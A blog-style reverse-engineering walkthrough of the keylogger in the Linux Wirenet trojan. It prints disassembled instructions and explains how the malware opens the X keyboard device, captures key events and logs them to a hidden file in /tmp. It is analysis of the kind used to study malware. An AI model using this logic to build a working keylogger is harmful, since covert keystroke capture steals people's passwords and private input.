• Reconnaissance
• Keylogger analysis
• Closing Words

I came across an article about a phishing attack that installs Java malware upon success. This reminded of Wirenet, a cross-platform malware that made me wonder whether there was a link between the two.

This was one of the first, if not the first committed attempt I made in applying reverse engineering techniques to real world software (a malware in this case). Despite a superior familiarity with Windows internals (rootkits specifically), I figured this would be a good chance to acquaint myself to Linux.

The analysis is pretty low level, it goes over specific instructions and puts more emphasis was put on the how (i.e. techniques used) rather than the what (i.e. results obtained).

Reconnaissance

The talbe contains some high level information about the sample

One of the most important things about the binary is that function names were not stripped, which made the entire process much more smooth

Keylogger analysis

Wirenet, being a baking trojan, features a keylogger among the spying functionalities, whose decompilation process is shown below

void *cpStartKeyLogger(void *)
    sub     esp, 0Ch
    push    0               ; char *
    call    ds:_XOpenDisplay
    add     esp, 10h
    test    eax, eax
    mov     ebx, eax
    jnz     short State_2

Line 2 - 3 call XOpenDisplay which establishes a connection to the X server, line 4 - 7 do error checking and jump to loc_8055532 in case XOpenDisplay returns a non-zero value. Otherwise a variable called KeyLoggerState is set to 2. As the name suggests, it represents the various states in which the keylogger can exist, it is used mostly for error handling purposes and is not of much interest.

    mov     KeyLoggerState, 2
    jmp     loc_80557BA

Next, these instructions are executed

    sub     esp, 0Ch
    lea     eax, [esp+118h+var_28]
    push    eax             ; int *
    lea     eax, [esp+11Ch+var_2C]
    push    eax             ; int *
    lea     eax, [esp+120h+var_24]
    push    eax             ; int *
    push    offset aXinputextensio ; "XInputExtension"
    push    ebx             ; Display *
    call    ds:_XQueryExtension
    add     esp, 20h
    test    eax, eax
    jnz     short loc_805556F

Line 2 - 4 - 6 load variables addresses into eax, so that line 3 - 5 - 7 can push those values onto the stack and call XQueryExtension. XQueryExtension determines if the named extension is present. Line 11 cleans up the stack, line 12 - 13 check if XInputExtension was present.
If the function fails KeyLoggerState is set to 3

    mov     KeyLoggerState, 3
    jmp     loc_8

The following part starts off with a with a comparsion between var_20 and ebp

    cmp     ebp, [esp+10Ch+var_20]
    jl      short  loc_805558B

The image shows pretty clearly that the previous two lines are part of a loop

Every reverse engineer races against mental fatigue, and it is fundamental to be able to dissect the unimportant pieces from the relevant ones. This kind of fatigue can be felt even when reading dense material and as such I omitted parts I deemed as not important to cover.

    push    offset aAt      ; "AT"
    push    edx             ; haystack
    mov     [esp+11Ch+haystack], edx
    call    _strstr

This part is pretty simple, a string AT is passed to _strstr along with a variable called haystack, looking for the first occurence of the former in the latter. To put it simply, the call looks something like this:

void _strstr (void *haystack, void *needle) {
	return strstr(*haystack, *needle);
}

Line 5 cleans up the stack, line 6 stores the haystack in edx and line 7 checks _strstr’s return value. If it is zero execution jumps to loc_80555D2 which simply ends the loop by incrementing the counter.

    add     esp, 10h
    mov     edx, [esp+10Ch+haystack]
    test    eax, eax
    jnz     short loc_80555D0

    inc     ebp
    add     edi, 18h

If an occurence is found there’s another search, this time using System keyboard as needle.

    push    offset aSystemKeyboard ; "System keyboard"
    push    edx             ; haystack
    call    _strstr
    add     esp, 10h
    test    eax, eax
    jz      short loc_80555D2

The interesting part of this branch is over, it is worth however mentioning that under some conditions a variable called KeyLoggerState is set to 4.

Let’s go up the abstraction ladder and let’s ask ourselves what happens if the previous check happens to be passed. Here lies the heart of the keylogger:

    push    dword ptr [esi] ; _DWORD
    push    ebx             ; _DWORD
    call    ds:_XOpenDevice
    add     esp, 10h
    test    eax, eax
    jz      loc_80

As the name suggests, after finding the device rappresenting the system keyboard the malware tries to open it with XOpenDevice and return a XDevice structure which are defined as follows

XDevice *XOpenDevice ( Display *display, XID device_id )
typedef struct {
	XID device_id;
	int num_classes;
	XInputClassInfo *classes;
} XDevice;

There are two conditions two branches that set KeyLoggerState to 5

The function either fails

    mov     KeyLoggerState, 5

or the field device_id (offset [eax+4]) is zero

    mov     edx, [eax+4]
    test    edx, edx
    mov     [esp+10Ch+var_FC], edx
    jle     State_5

The executions continues to the next function. I won’t go over in detail to how variables are passed to the function as it would be somewhat redundant

    push    esi             ; _DWORD
    lea     eax, [esp+110h+var_48]
    push    eax             ; _DWORD
    push    [esp+114h+var_F4] ; _DWORD
    mov     dword_805873C, ecx
    push    ebx             ; _DWORD
    call    ds:_XSelectExtensionEvent
    add     esp, 10h
    test    eax, eax
    jnz     State_5
    test    esi, esi         ; event_count
    jz      State_5

XSelectExtensionEvent selects an extension event and is defined as follows

XSelectExtensionEvent ( Display *display,
                       Window w,
                       XEventClass *event_list,
                       int event_count )

The KeyLoggerState variable is now set to 0

    mov     KeyLoggerState, 0
    lea     edi, [esp+10Ch+var_E4]
    lea     esi, [esp+10Ch+v

At this point, we found the system keyboard device and opened a handle to it. All is set and the malware can start logging keystrokes

    loc_80556D9:
    push    eax
    push    eax
    push    edi             ; XEvent *
    push    ebx             ; Display *
    	int type;
    
    	/* KeyPress or KeyRelease */
    
    	unsigned long serial;
    
    	/* # of last request processed by server */
[...]
    
    	Display *display;
    
    	/* Display the event was read from */
[...]
    } XKeyEvent;

After an event occures and XNextEvent gets executed the following instructions fill a XKeyEvent structure and pass it to LogKey. Line 34 jumps to the previous code snippet (a never ending loop).

    mov     [esp+10Ch+var_84.type], eax
    mov     eax, dword ptr [esp+10Ch+var_E4+4]
    mov     [esp+10Ch+var_84.serial], eax
    mov     eax, dword ptr [esp+10Ch+var_E4+0Ch]
    mov     [esp+10Ch+var_84.display], eax
[...]
    push    ebx             ; Display *
    push    esi             ; XKeyEvent *
    call    LogKey
    add     esp, 10h
    jmp     loc_80556D9

The LogKey function saves intercepted keystrokes to /tmp/.m8.dat.

Closing Words

At a high level, the keylogger works as follows:

• Tries to connect to the X server
• Looks for the device representing the keyboard
• Sets a call back function that upon execution logs to a file intercepted keys

The implementation of the keylogger is quite simple and lean, making it easy replicate it at the cost of its ability to conceal itself, which is completly absent.
The decompiled source code can be found here.